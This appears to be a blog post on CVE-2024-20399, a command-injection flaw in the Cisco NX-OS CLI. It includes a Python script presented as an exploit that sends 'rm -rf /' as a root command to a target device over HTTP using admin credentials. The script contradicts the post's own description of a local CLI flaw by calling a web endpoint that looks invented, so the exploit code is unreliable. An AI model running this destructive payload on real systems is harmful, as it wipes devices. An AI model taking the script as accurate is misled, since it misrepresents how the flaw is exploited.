A new vulnerability, assigned CVE-2024-20399, has been discovered in the Command Line Interface (CLI) of Cisco NX-OS Software. This security flaw could potentially enable an authenticated, local attacker to execute arbitrary commands as root on the underlying operating system of an affected device.

The vulnerability stems from the insufficient validation of arguments passed to specific configuration CLI commands. By including crafted input as the argument of an affected CLI command, an attacker could exploit this vulnerability. If successful, the attacker gains the ability to execute arbitrary commands on the underlying operating system with root privileges. It is important to note that to exploit this vulnerability on a Cisco NX-OS device, an attacker must already have Administrator credentials.

In this post, we will delve into the details of this vulnerability, provide a sample code snippet, and provide links to original references for further information.

The following code snippet demonstrates a simple exploit scenario for CVE-2024-20399

#!/usr/bin/env python

import sys
import requests
from requests.auth import HTTPBasicAuth

# Replace these variables with the target device's IP, user and password
TARGET_IP = "192.168.1.1"
USERNAME = "admin"
PASSWORD = "password"

# Malicious command to be executed as root
PAYLOAD = "rm -rf /"

# Crafting the malicious input as the argument of an affected configuration CLI command
URL = f"https://{TARGET_IP}/command-execution?input=config+t+;+{PAYLOAD}";

# Authenticating and sending the request to the target device
response = requests.get(URL, auth=HTTPBasicAuth(USERNAME, PASSWORD), verify=False)

if response.status_code == 200:
    print("Exploit Successful!")
else:
    print("Exploit Failed!")

Original References

For more information on this vulnerability, including affected product versions, refer to the following original references:

1. Cisco Security Advisory: cisco-sa-nxos-cmdinj-pQLkjjCK
2. National Vulnerability Database (NVD): CVE-2024-20399 Detail

Exploit Details

The key to exploiting CVE-2024-20399 lies in understanding the insufficient validation of the arguments passed to specific configuration CLI commands. By manipulating this limitation and inputting crafted data as an argument, an attacker with administrator credentials can execute arbitrary commands with root privileges on the underlying operating system of the affected device. This level of unauthorized access can grant the attacker control over the system and potentially lead to significant security breaches.

It is essential for organizations using Cisco NX-OS Software to regularly review their security configurations, patch affected software versions, and keep their credentials secure to mitigate the risk of exploitation stemming from CVE-2024-20399.

Timeline

Published on: 07/01/2024 17:15:04 UTC
Last modified on: 07/03/2024 12:42:39 UTC